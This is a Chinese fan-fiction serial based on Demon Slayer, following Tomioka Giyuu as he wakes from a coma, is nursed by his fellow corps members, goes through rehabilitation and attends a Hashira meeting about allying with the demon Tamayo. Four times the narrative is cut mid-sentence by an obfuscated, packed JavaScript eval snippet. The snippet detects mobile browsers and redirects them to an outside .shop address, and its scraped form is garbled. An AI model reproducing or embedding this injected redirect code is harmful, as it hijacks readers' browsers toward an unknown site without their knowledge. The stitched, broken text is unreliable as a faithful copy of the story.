作为仅仅两年就成为水柱的富冈义勇,被人羡慕和尊敬的同时,也被人苛责着。 因为锖兔死了,所以富冈义勇才当上的水柱。 他们看不到富冈义勇的实力,也看不到他为此付出的血泪,更不在乎他身上所受的伤。 “我就说吧,什么水柱,碰上上弦鬼还不是打不过。如果是岩柱对上上弦,说不定连伤都不会受。” 无知者,发出无知的言论。 在这些人的眼里,好像将鬼舞辻无惨捉住晒太阳也只分两步一样——捉住他,然后放到太阳底下。 当然,这些人最后在众人的怒火里,被狠狠地揍了一顿,也被主公狠狠地骂了一顿。 人与鬼的战斗充满着流血与牺牲,没有人可以指责他们。 “富冈一直不和人亲近,倒也挺好的,这些破事也烦不到他。” 富冈义勇很少会和人一起行动,也很少和人交谈。在他成为水柱以后,便有更多人因为他的身份而不敢靠近。 即使是闲言碎语,也要背着他才能说给人听。 “但总是一个人也不好啊,多孤单啊。不过咱们现在等级还低,也帮不上富冈的忙。” “现在鬼杀队里,富冈算是最小的那个了吧?也怪人担心的。” “想啥呢,当然还有更小的,比如之前和富冈出任务的炼狱,他就比富冈小。喂,我说你这幅老父亲一样的口吻是什么意思?大家都把富冈义勇当弟弟,难不成你还想差辈?” “咳咳咳,富冈比我小三岁呢,当孩子看怎么了?” “我看是你想被群殴。” 靠谱的村田一人锤了一拳,让他们安静下来:“吵什么吵,这里是病房,小心护士小姐揍你们。” 打闹的两个人这才安分下来。 “看来不仅是我,还有很多人在关心义勇。” 这句话刚刚响起,房间里面的几个人就齐齐单膝跪在地上。 “主公。” 产屋敷耀哉进到了病房,脸上挂着温柔的笑容,身旁是搀扶着他的天音。 “不用那么拘谨,就把我当作一个普通来探病的人就好。”产屋敷耀哉走得很慢,他身体不好,这些年已经很少出门了。 富冈义勇受伤是因为他的命令,如今昏迷了一个多月还没醒,他实在是没办法心安理得地继续躺着。 村田他们站了起来,倒水的倒水,拿凳子的拿凳子。 他们平时几乎见不到产屋敷耀哉,只在特训前和他见过一面。但仅仅这一面,也足够他们打心底尊敬这位主公。 产屋敷耀哉没有拒绝他们的好意,坐到了病床旁边。 “新名,早希,村田,我记得你们和义勇都是一届的队员,能看到你们这么关心义勇,我真的很开心。”产屋敷耀哉道。 “主公您还记得我们啊。”吉本早希憨憨一笑,不好意思地挠挠头。 产屋敷耀哉记着鬼杀队所有人的过往经历,分辨出这几个人是谁自然不是问题。 产屋敷耀哉轻轻笑笑,看向病床上的富冈义勇:“义勇他现在情况怎么样?” 村田叹了口气:“一直昏迷着,没醒过来。” 他们几个没任务的时候就会过来看他,对富冈义勇的状况也算了解。 “因为他一直在睡,每天都要打吊瓶。”村田抬头看了眼快要见底的药瓶,“啊,要换药了,我去找护士小姐。” 产屋敷耀哉也注意到了,点点头,示意村田快去。 那位妄图把富冈义勇当儿子看待的队员叫远山新名,他犹豫了一下,忍不住开口问:“主公,我之前听说富冈他的刀断了,但这么久了,也没见有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“强迫性动作一般是患者为了缓解焦虑和不安,而强制自己去做的一些行为或举动。受伤了要好好休息,这是正常人的思路。但义勇不会这样做,他首先要保持自己的清醒,之后才会结合自己的身体状况进行后续的各种动作。” 产屋敷耀哉对心理学并不擅长,但他记下了珠世的话。 等义勇能自由行动的时候,让他和珠世好好聊一聊吧。 希望珠世能帮这孩子走出困住他的过去。 在产屋敷耀哉思索的时候,吉本早希也回来了。他和村田正在将垫毛巾,忽然注意到富冈义勇的眼皮颤了颤。 吉本早希拉了拉村田的袖子,睁大着眼,指着富冈义勇。 在所有人的注视下,富冈义勇缓缓睁开了眼。 24. 第 24 章 “醒了!醒了!富冈……”远山新名的话还没说完,就被吉本早希捂住了嘴,“嘘!小声点!你想把富冈再吓晕过去吗?!” 村田起身,倒了杯水,又插上吸管,才小心地放到富冈义勇唇边:“说话之前先喝点水,你已经昏迷一个多月了。” 富冈义勇刚醒过来,视线缓了好一会才恢复正常。听到村田的话,他就着吸管慢慢喝着。 水温刚刚好,温温热热的,让他干涸的嗓子渐渐被湿润。 等喝了小半杯水,他才慢慢开口:“多……谢……” 村田说他昏迷了一个多月,自己醒过来他们就在周围,这期间一定没少照顾他。 真是麻烦他们了…… 吉本早希凑过去,看见富冈义勇眼底那浓浓的疲惫,一时有些忧心。 “富冈,睡了这么久,感觉还好吗?”吉本早希对着他竖起三根手指,“来,这是几,看得清吗?还有一加一等于几?” 村田嘴角微微抽搐,旁边的远山新名直接捶了他脑袋一下:“富冈没伤到脑子,不是傻子!” 富冈义勇的反应有些慢,声音也十分虚弱:“三……二……” 这幅样子,让坐着的产屋敷耀哉忍不住笑了出来,天音的脸上也带了一丝浅浅的笑意。 “主公?”富冈义勇注意到了产屋敷耀哉,想挣扎着起来,被天音眼疾手快地按住。 “不要乱动,你躺着就好。”天音安抚他,“我和耀哉就是来看看你。” 富冈义勇微微点点头,海蓝色的眼睛没有完全睁开,显得整个人很是虚弱和无力:“劳烦……大家……担心了……” 昏迷的这段时间,他偶尔能听到一些模糊的声音,只是太过零碎,他意识昏沉,根本听不清楚。 这次受伤,让不少人为他担心了。 “饿不饿?我去拿点吃的给你?”村田的声音不紧不慢,让富冈义勇听得很清楚。 “想吃……萝卜……鲑鱼……”富冈义勇眨了眨眼,神色难得带了几分稚嫩。 萝卜鲑鱼,是他最爱吃的菜。 他想吃。 “好!就交给我们吧!” “我们这去买鲑鱼!” “主公,我们先去给医生说一下,顺便给富冈做吃的。”三个人向产屋敷耀哉告辞,就活力满满地离开了。 病房一时就安静了下来。 “还要不要喝水?”产屋敷耀哉行动不便,天音就走上前询问。 富冈义勇摇了摇头。 产屋敷耀哉这才开口:“义勇,你现在不用说话,听我说就好。” 富冈义勇乖巧地“嗯”了一下。 “珠世小姐和愈史郎已经被我安排到了安全的地方,你不用再担心他们。” 虽然在富冈义勇昏迷前医生告诉了他这件事,但他昏迷了这么久,还是再说一遍吧。 “珠世小姐和愈史郎将你的踪迹隐藏得很好,尚且没有上弦之三出现的消息,所以义勇,你现在最要紧的事就是好好养伤。” “宽三郎一直在守着你。难得今天被同伴拉出去散心,应该很快就会回来。” “等过几天,近藤大概就会来找你,你的新刀他也会帮你重新锻造。” 富冈义勇老老实实听着,只时不时眨下眼睛。 看着这样的富冈义勇,产屋敷耀哉始终不觉得这孩子有什么心理问题,但他终究不是医者。 他斟酌了一下语句,才继续道:“义勇,我现在需要和你说一件事,要不要去做,决定权在于你。” 富冈义勇轻轻地回了一句:“好……主公……请讲……” “珠世小姐和我说,你的某些行为在心理学上可以判定为强迫性动作,并认为你需要进行专业的心理疏导。珠世小姐的医术很厉害,我无法对她的建议视而不见。”产屋敷耀哉看着富冈义勇:“义勇,如果你想要和珠世小姐聊一聊,我不会阻止你。” 产屋敷耀哉是可以下令直接让富冈义勇去见珠世,但他不想这样做。富冈义勇一直很坚强,也很理智。那就干脆将决定权交给他,如果富冈义勇真的觉得有必要,他会安排两个人的会面。 富冈义勇对心理学更不了解,眼里满是疑惑地看着产屋敷耀哉:“心理……问题?” 产 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153522|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋敷耀哉点头:“是的。具体的还需要请教珠世小姐。” 富冈义勇脑袋放空,他完全不觉得自己有什么问题。 他现在这样不是很好吗? 天音开口:“这件事并不着急,你可以慢慢想。” 她看向产屋敷耀哉:“耀哉,我们该回去了。” 产屋敷耀哉知道他出来的时间够久了,是时候回去了。 他缓缓站起来,看着富冈义勇:“义勇,这不是命令,也无关职责。无论什么时候都可以,只要你愿意。” “主公……”富冈义勇忽然叫住他,“珠世……小姐……对您的病……有了解吗?” 产屋敷耀哉的心一下子就软了,唇边含笑,用略带冰凉的手摸了摸他的额头:“多谢义勇关心,但我的病珠世小姐也束手无策。” 与其说是病,不如说是诅咒更加贴切。 产屋敷家族造成的罪孽,需要一代代去弥补。 在富冈义勇昏迷的这段时间,珠世的确找产屋敷耀哉聊过他的病情。她在诊断过后,发现有办法可以缓解他的病,只是需要时间去研制药剂。 但产屋敷耀哉拒绝了她的好意,希望她能全身心地研制能对付鬼舞辻无惨的药。 比起他这脆弱的病体,他更希望给鬼杀队看到黎明的契机。 在他生命走到尽头前,他一定要看到鬼舞辻无惨的覆灭。 等产屋敷耀哉和天音离开,病房就显得更加安静了。 输液管里的液体一滴滴地落下,闹钟的秒针缓缓转动。 在这规律的声音里,困意渐渐涌上来,只是富冈义勇不想去睡。 萝卜鲑鱼…… 他看着天花板,想要集中精神,让自己清醒一点。 但困意就像是轻柔的海浪,缓缓将他包裹,拂去身上的疼痛,想带他前往无光的海底。 不想睡…… 萝卜鲑鱼还没有吃到…… 宽三郎也没有回来…… 富冈义勇的眼睛眨啊眨,终于是抵不过疲惫,缓缓闭上了眼睛。 带着对萝卜鲑鱼的思念,富冈义勇睡着了。 25. 第 25 章 静水无声,亦无形。 富冈义勇觉得自己像是被水包围,温暖而舒适,只是周围黑暗一片,没有一丝光。 “富冈?富冈?”模糊不清的低语从四面八方传来。 身体被摇晃了一下,然后又传来几声呼唤。 好香的味道…… 是……萝卜鲑鱼? 富冈义勇缓缓睁开了眼,逃离那无光的水底。 村田他们三个人的大脸直接映入他的眼帘。 富冈义勇瞬间睁大了眼。 三个人察觉到他们靠得太近,讪讪一笑,纷纷站直了身体。 富冈义勇感觉自己的侧脸被蹭了蹭,他侧头去看,发现是宽三郎。 “义勇……”宽三郎感觉都快哭了,“你终于醒了。” “让你担心了……”富冈义勇动了动脑袋,回蹭了一下宽三郎。 “我们回来见你睡着了,但萝卜鲑鱼不能久放,就把你叫醒了。”村田轻声问着,“还饿吗?要不要吃?” 富冈义勇回答得很快:“要……” 在他那张面无表情的脸上,愣是显露出来一丝急切与渴望,这让三个人不约而同地笑笑。 远山新名将富冈义勇扶起来,吉本早希拿了一个被子垫在他的身后,让他半坐在床上。 富冈义勇想要抬手,才注意到自己的右手上扎着针,左肩因为骨裂,被做了固定,所以左手也几乎动不了。 他一时陷入了沉默。 在被喂饭和自己吃之间,他别无选择。 村田见他右手动了动,就察觉到了他的想法:“你现在不方便,我喂你吃吧。” 富冈义勇抿嘴,不想回答。 他不习惯在别人面前吃东西,出任务的时候情况特殊,他还可以不讲究,但现在……似乎也属于情况特殊…… 吉本早希拽着远山新名就往外走:“我们也去吃饭,村田,富冈就交给你了。” “喂,我不饿啊。” “不,你饿!” 和他们两个人相比,富冈还是更熟悉村田,就把空间留给他们吧,这样富冈也能自然一点。 村田也不拆穿他们,将放在床头的碗端起来,用勺子舀了点汤,又轻轻吹了吹。 富冈义勇心里有些过意不去,眼眸微微垂下:“抱歉……” 他们照顾了他这么久,可他却这样。 “富冈,谁都有些小习惯,这不是你的错,也没人会怪你。”村田笑了笑,将勺子放到他唇边,“来先喝点汤,尝尝好不好喝。” 心中的别扭抵不过对美食的渴望,富冈义勇还是就着勺子喝起来。 萝卜和鲑鱼的味道都融入了汤里,清甜鲜美。 “汤很好喝。”富冈义勇看着村田,语气正经,“这些日子麻烦你们了。” 村田摇摇头:“富冈,你值得被关心。明白吗?” 他用勺子将萝卜弄成小块,喂给富冈义勇:“我们是同一批的新人,彼此互相关心是最正常的一件事。” “你不用觉得这是负担,也不用觉得我们会麻烦。” 富冈义勇嚼着萝卜,摇摇头:“不一样。” 村田又喂给他一块鱼肉:“哪里不一样?大家都是鬼杀队的队员,总不能你想说你现在是水柱,和我们这些普通队员不一样吧?” 还没说完,村田自己就先笑着摇头。 他清楚富冈义勇的性格,他并不是这样的人。 鱼肉很嫩,入口的时候用舌头一碾就碎掉了。 富冈义勇摇摇头,却不知道该如何回答。 他并非鬼杀队的队员,因为他当年并没有通过最终选拔。而村田和他不一样,在最终选拔遇到村田前,他是凭借自己的力量杀了鬼的。 而他不一样,他什么也没有做到,都是锖兔在做。 就连水柱也是,如果锖兔还活着,水柱也一定是他的。 他没有资格,也不值得被关心。 富冈义勇回忆起参加特训时鳞泷老师和他的谈话。 “义勇,你不想去参加特训?” “嗯。我不觉得我有资格加入鬼杀队。” “义勇,这样的想法是不对的。你们的资格是主公亲自认定的。” “可在原本的规定里,我们本该就要和鬼交手,增加实战经验。可我什么都没有做到,害了锖兔,还直接昏迷了七天。” “那你就要什么都不做?留在这里吗?这些天里,你一直在拼命训练,我能教的东西也都教给你了。义勇,你不该困在狭雾山。” “可是鳞泷老师,我真的可以去鬼杀队吗?” “当然可以。特训会为你们安排各种训练,你的实力也会增强。” 当年他来到这里,只是为了增强实力。 他从未认可过自己鬼杀队成员的身份,他也不是水柱,只是暂代这一职。 回忆过往对富冈义勇来说并不是一件轻松的事情,心绪的波动让他不禁轻咳出声。 他知晓周围人对他的关心与爱护,可却不知道该如何回应。 “富冈先生只要把心里想说话的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153523|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表达出来就好。”炼狱杏寿郎的话在此刻响起。 富冈义勇看着村田,嘴唇微动:“当年的选拔,我并没有通过……” 村田微愣:“最终选拔?” 富冈义勇点头,“嗯”了一声。 “为什么你会这样觉得?”村田疑惑地看着他,端着碗的手都停在半空。 “因为,我只是睡了七天。”富冈义勇恢复了平时的冷峻。 村田叹了口气,放下碗,伸手揉了揉他的脑袋:“富冈,当年我们所有人,几乎都晕过去了。” “照你这么说,我不也没通过选拔?”村田没好气地反问。 富冈义勇丝毫没有动摇:“不一样。你有和鬼战斗,也有砍下鬼的脑袋。” 村田双手叉腰:“当时下弦鬼出现,可是你帮我拦住的攻击,你这不叫战斗?” 富冈义勇想了想:“可是我并没有杀掉一个鬼,都是锖兔做的。” 村田悟了,富冈还没有放下锖兔的死。 偏偏这件事,他们是最不能提的。 村田觉得富冈义勇这种想法很不对,可要他反驳,又找不到切入点。 他干脆重新拿起碗:“管你有没有资格,现在来好好吃饭!” 富冈义勇不说话了,老老实实接受投喂。 村田边喂富冈义勇吃东西,边在心里琢磨。 富冈这个认知是真的不对,难怪总独来独往的,也不和他们亲近。原来他是把他们当外人了。 如果鬼杀队是个学校的话,他们这些人就是一个班的同学,本来关系应该很好的,结果富冈愣是认为自己是那个没有学籍白白在这里听课的人。 但他就是个普通成员,这个事他解决不了啊。 不对啊,主公对富冈也挺关心啊。主公那么厉害,也没把富冈这个思想掰过来吗? “村田?”富冈义勇疑惑的声音打断了村田的思考。 村田回神,才发现碗已经空了,他拿着个空勺子在碗里舀。 他悻悻一笑,咳嗽了几声掩盖尴尬:“吃完了啊。那富冈要不要再睡会?” “想再坐一会。”富冈义勇还不想睡,虽然清醒的时候身体很不舒服,但他也不想一直睡。 村田点头,端着碗起身:“那我先去洗碗,顺便叫医生过来给你看看。” “好。”富冈义勇再次道谢,“村田,谢谢你们了。” 村田心下一酸,心里默默地叹气,直接离开了病房。 找医生的时候,顺便和她说说富冈这种认知吧。 26. 第 26 章 病房里很安静,宽三郎扇动翅膀,飞到他的胸口,打量着富冈义勇的脸。 “义勇,你看上去瘦了。”宽三郎确信地说。 本就清瘦的人,现在看上去更瘦了。 富冈义勇低头,看向宽三郎:“我会好好吃饭的。” 瘦了的话,那就多吃点,会长回来的。不过他昏迷了这么久,身体感觉都要睡僵硬了,想起来走一走。 富冈义勇试着动了动左手,但由于左肩被固定着,他只能将左手从身侧放到肚子上。 他不禁叹了口气。 主公说近藤先生最近会来找他,并帮他重新锻造刀。只是他把刀弄断了,也不知道近藤先生会不会生气。 富冈义勇侧头,望了望窗外。 已经是快晚上了,也不知道今晚会不会有鬼出来伤人。 病房门被推开,医生走了进来。 她脸上带着温和的笑意,慢慢走进来:“村田他们出任务去了,听他说你现在醒着,我过来给你检查一下身体。” 富冈义勇点头:“谢谢,有劳您了。” 医生走到病床边,先帮富冈义勇拔了针。只要人清醒了,就不用再输液了。 她小心撕下纸胶带,将输液管整理好,然后动作熟练地将滞留针拔了下来。 医生一手拿着输液管,一手拿着止血棉帮富冈义勇按着手背。见状,宽三郎飞过去,叼着输液管,将它挂到了架子上。 医生夸了一句宽三郎,用空着的手用衣服口袋里拿出纸胶带,将止血棉贴了上去。 “好了,这个等一会再去掉。手背上的淤青等晚点拿热毛巾敷一敷,过一段时间就会好起来的。”医生看向富冈义勇,说要检查一下他身上的伤口恢复得怎么样。 富冈义勇点头,在医生的帮助下脱掉了衣服,又一一将绷带解开。 他身上的伤遍布整个上半身,脱下来衣服几乎没有裸露着的皮肤,全部都是绷带。 白皙的皮肤上,布满了斑驳的伤疤。 “现在伤口还觉得疼吗?”医生问。 富冈义勇摇摇头:“如果不碰的话,就不会疼。” 医生懂了,那就是还在疼。毕竟他躺着的时候总有伤口会被碰到 “那还需要再养养。这些外伤不用再上药了,但还有一些口服药你要再吃几天。”医生道。 因为伤口基本都已经愈合,绷带也不用再缠了。她直接帮富冈义勇穿好衣服:“左边肩膀呢?现在会痛吗?” 富冈义勇老实回答:“偶尔还有些刺痛感。” 医生点点头:“那就拍个片子看看吧。” 富冈义勇的左肩之前骨裂有些严重,打了石膏固定,现在一个多月过去,按理说应该恢复得差不多了,如果还会痛的话,还是要再拍个片子看看恢复情况。 医生继续说:“你现在长期没有活动,想要正常行动还需要进行复健,一会我让护士推个轮椅过来。” 富冈义勇没有拒绝,乖巧地点头。 “那我先去准备,你再休息一会,护士一会就过来。”说完,医生就离开了病房。 宽三郎飞到富冈义勇身上,看着他手背上的青紫十分心疼。 富冈义勇抬起右手,握紧手指又松开,发现有些使不上力气。 复健吗? 不知道要做些什么。 “富冈先生,我来带你去做检查。”护士走了进来,将轮椅推到病床边。 富冈义勇用手掀开被子,想要下床。 护士搀扶着他的右臂,帮着他减轻负担。 因为长期没有活动,富冈义勇的四肢都有些用不上力,双脚刚刚碰到地面,就有些发软,让他直直地向前倒。 护士连忙扶住他,让他缓缓坐到轮椅上。 富冈义勇微微喘息了几下,这种感觉让他心里多了几分厌烦。 “麻烦你了。”等呼吸恢复平静后,富冈义勇朝护士道谢。 护士笑笑,拿出一条毯子披在富冈义勇身上。现在已经是晚上了,要小心感冒才行。 她推着富冈义勇去了检查室,拍好了片子后又把他送回病房。 “如果没有意外的话,富冈先生明天就可以进行复健了。”护士很替富冈义勇开心,因为这代表富冈义勇马上就可以痊愈了。 富冈义勇点头,问道:“我都需要做什么?” “复健会有专人负责,富冈先生不必担心,到时候听他们的指导去做就可以了。”护士替他盖好被子。 “我知道了,谢谢。” 见富冈义勇一如既往的客气,护士忍不住摇头,难得严肃地看着他:“对我们不必这么客气的,富冈先生。治疗室的大家还是很喜欢你的。” 富冈义勇微微侧头:“为什么?” “因为富冈先生很听医嘱,还不会捣乱,一点都不像其他人那么难管。”护士笑笑,“是个很乖的小孩哦。” 护士比富冈义勇大个几岁,见他每次都沉默着拖着病体来治疗室,说不心疼真的是假的。 虽然他说不多,但一直很礼貌。冷静而又理智,也不会做出让人哭笑不得的动作,让人很放心呢。 富冈义勇眨了眨眼:“我已经不是小孩了。” 护士才不管,理直气壮地说:“我说是就是。” 她看到他手上的止血棉,掀开看到已经不流血了,就顺手撕了下来。 “好了,富冈先生如果困的话,就可以直接睡了。等明天早上我再来告诉你结果。”护士将他的手塞进被子里,又替他掖了掖被角。在出去之前,还关掉了房间里面的灯 环境变得昏暗,富冈义勇也有些困了,眼皮开始发沉,眼睛没眨几下,就睡着了。 宽三郎继续守着他,一人一鸟都开始了休息。 又是一个无梦的夜晚。 医生看了富冈义勇的片子,见他的肩膀愈合得差不多了。不过如果还会痛的话,还是要减少活动才行。 不过复健确实可以做起来了。 有了医生的允许,富冈义勇也开始了复健。 两个小护士被派了过来,领着他开始活动身体。 关节和骨骼的放松,反应力和身体灵活性的恢复。 中间算不上多轻松,僵硬的身体和用不上力的四肢让复健的过程充满着汗水与痛苦。 富冈义勇全都忍住了,也没喊过一声痛。 不到一周的时间,他就恢复到了受伤前的状态。 “富冈先生很厉害呢。” “一些队员在做恢复训练的时候经常会喊会叫的。” 在两位护士的欢送中,富冈义勇顺利出了治疗室。 而痊愈没几天的他,收到了召开柱合会议的信息。 又要开会吗? 想到那些涉及管理的事情,富冈义勇不免觉得有些头疼,但都答应了主公要承担对应的责任,那该做的事情还是要做。 富冈义勇来到了产屋敷耀哉的住处,见这里多了一个人,是他没见过的女性。 带着蝴蝶的发饰,穿着蝴蝶样子的羽织,脸上的笑意很温柔。 他站在一旁,发现悲鸣屿行冥和这位新人有些熟悉,在她聊着天。 女生注意到富冈义勇,笑眯眯地打招呼:“是水柱富冈先生吗?” 富冈义勇点头示意:“叫我富冈便好。” 宇髄天元走过去,上下打量了一番:“看上去恢复得不错,就是这脸色还是不太好。” 悲鸣屿行冥感受着富冈义勇的呼吸和心跳:“富冈,你或许还需要休息一段时间。” 女生主动自我介绍:“富冈先生好,我是蝴蝶香奈惠,使用花之呼吸。之前听说富冈先生一直在养伤,很高兴能看到你痊愈。” 是新的柱吗? 富冈义勇微微颔首:“多谢关心,我的身体已经没有大碍了。” 宇髄天元双手叉腰,脸上是华丽的笑容:“我们柱又多了一名队员,未来一定能杀更多的恶鬼。” 灿烂的笑容,闪亮的宝石,一如既往的华丽。 悲鸣屿行冥看着大家和平相处的样子,不禁留下眼泪。 产屋敷耀哉很快就来了,四个人纷纷单膝跪下,尊敬地听他讲话。 他首先宣布了蝴蝶香奈惠是新晋的花柱,并进行了任命仪式。在柱合会议结束后,她的任命书也会第一时间公布。 在举行完仪式后,产屋敷耀哉让大家跟着他进来屋子。 四个人跪坐在产屋敷耀哉对面,尊敬地听他讲话。 “接下来,我要和大家说一件事。”产屋敷耀哉的语气不变,“目前鬼杀队正在和名为珠世的鬼合作。” 富冈义勇和宇髄天元因为之前的经历,对这件事都没什么不满。 而蝴蝶香奈惠的内心善良,虽然家人被恶鬼杀害,但还是希望人和鬼能友好相处。在她看来,鬼也是人类变的。人分善恶,鬼也一样的。 他们三个人都对产屋敷耀哉的决定没有意见,但悲鸣屿行冥却并没有同意。 “主公,我并不认为鬼值得信任。”悲鸣屿行冥语气坚定,“与鬼合作更是将鬼杀队置于危险的境地。” 宇髄天元在旁边帮主公说话:“悲鸣屿,我见过这位珠世,她和别的鬼确实不一样。富冈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153524|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能从上弦鬼手下活着逃出来,也多亏了她。” 悲鸣屿行冥一顿,他之前只知道富冈义勇遭遇上弦鬼生命垂危,是宇髄天元带人救回来的他,没想到中间还涉及到这些。 作为当事人,富冈义勇只能保持沉默。 “珠世小姐在鬼杀队成立初期,就有过合作。她和鬼杀队的目的一致,都是为了消灭鬼舞辻无惨。” “只不过不是每任主公都对鬼抱有信任,就像行冥你的想法一样,会认为鬼都是不可信的。” “但行冥,我很确信珠世小姐不会对鬼杀队不利。除了我们共同的目标,还有一点是她已经摆脱了鬼舞辻的诅咒,是仅需要一点血液便可以保证生存。而她所获取的血液,也是从需要钱的人手里买来的。” 产屋敷耀哉的语气缓缓,很耐心地给大家解释:“鬼杀队所要杀的,是会吃人的恶鬼,这一点永不会变。只是珠世小姐并非会吃人的恶鬼。” 他看向悲鸣屿行冥:“行冥,不知道我这样解释,你是否愿意接受?” 悲鸣屿行冥双手合十,一时陷入了沉默:“我尊重主公的意见。只是我认为需要将珠世严加看管,以防她有不轨之心。” 产屋敷耀哉摇了摇头:“用人不疑,疑人不用。我相信珠世小姐,自然不会做出这等失礼的行为。” 他想了想,还是提起了一些旧事:“在五大呼吸法里,岩风雷炎的招式均以攻击为主,而水之呼吸最为柔和,攻守兼备。除此之外,水之呼吸的第五式——干天的慈雨,也是所有呼吸法里唯一一个考虑鬼被杀时痛苦程度的招式。” “你们知道这是为什么吗?”产屋敷耀哉看向大家。 三个人面面相觑,纷纷看向微微低着头的富冈义勇。 产屋敷耀哉继续道:“大家都知道在鬼杀队存在千年的时间,水柱从未空缺过。而在历任水柱的手书里,第五式也从未荒废不用过。” 除富冈义勇以外,三个人都有些惊讶。 干天的慈雨,是只有在鬼主动求死时才会使用的招式。 如果每一任水柱都使用过这招,这说明一直有鬼会主动寻求死亡。 “大家,我希望你们不要被心中的仇恨遮住眼睛。人也好,鬼也好。守护良善,消灭奸恶,这是鬼杀队一直执行的理念。” 产屋敷耀哉看向四个人,疾病的伤痕已经蔓延到他的整个额头,青紫异常:“那么大家还有什么意见吗?” 悲鸣屿行冥不再反对,沉默着转动手中的念珠。 善与恶吗? 天真的小孩子会随口讲着谎言,邪恶的鬼或许也存在着善良吧。主公看事情一向真知灼见,那便相信主公吧。 见大家都不再反对,产屋敷耀哉继续下一个话题:“珠世是一名医生,想要找到打败鬼舞辻的办法,她需要十二鬼月的血液来进行研究。” “为了增加鬼杀队的实力,以及为珠世提供实验材料,我想要将最终选拔从五年一次改为两年一次。不知大家意下如何?” 富冈义勇思考,最终选拔要举办的话,特训也要跟着一起。他这个暂代的水柱,是不是可以不去? 宇髄天元摸着下巴分析:“我倒是没什么意见。但现在有了四位柱,而特训的时间只有一个月,排除掉最开始的理论课,均分开的话,每个人最多有七天时间,这样真的能让新人有什么进步吗?” 悲鸣屿行冥也赞同道:“我的训练方式即使减弱,很多队员也都需要十天以上才能做到。” 蝴蝶香奈惠想了想自己的特长,思考到时候自己要负责什么内容。 产屋敷耀哉提议:“特训的时间可以照旧,大家可以将各自的方法告诉新人,让新人自行去练习。为了避免有人偷懒,在一年后可以进行考核。如果不合格的人,就要继续参加下一年的特训。” 宇髄天元点头:“我觉得可以。新人大都是年轻气盛的小孩,要是知道自己要和下一届的新人一起训练,肯定会不好意思而努力练习的。” 其他人也没有意见。 而留意到富冈义勇神色的产屋敷耀哉心领神会,立马转移话题:“既然如此,那就这样安排下去吧。在三个月后,今年的最终选拔就会召开,到时候特训的内容,还要靠你们四位一起商量了。” 正想说自己不参与特训的富冈义勇愣住,嘴唇已经张开的他,只好继续沉默。 其他三个人也都没有意见。 在一致同意里,这一次的柱合会议圆满结束。 “义勇,你留一下,我有话和你说。” 本想等大家出去趁机说自己不参与特训的富冈义勇再次默然。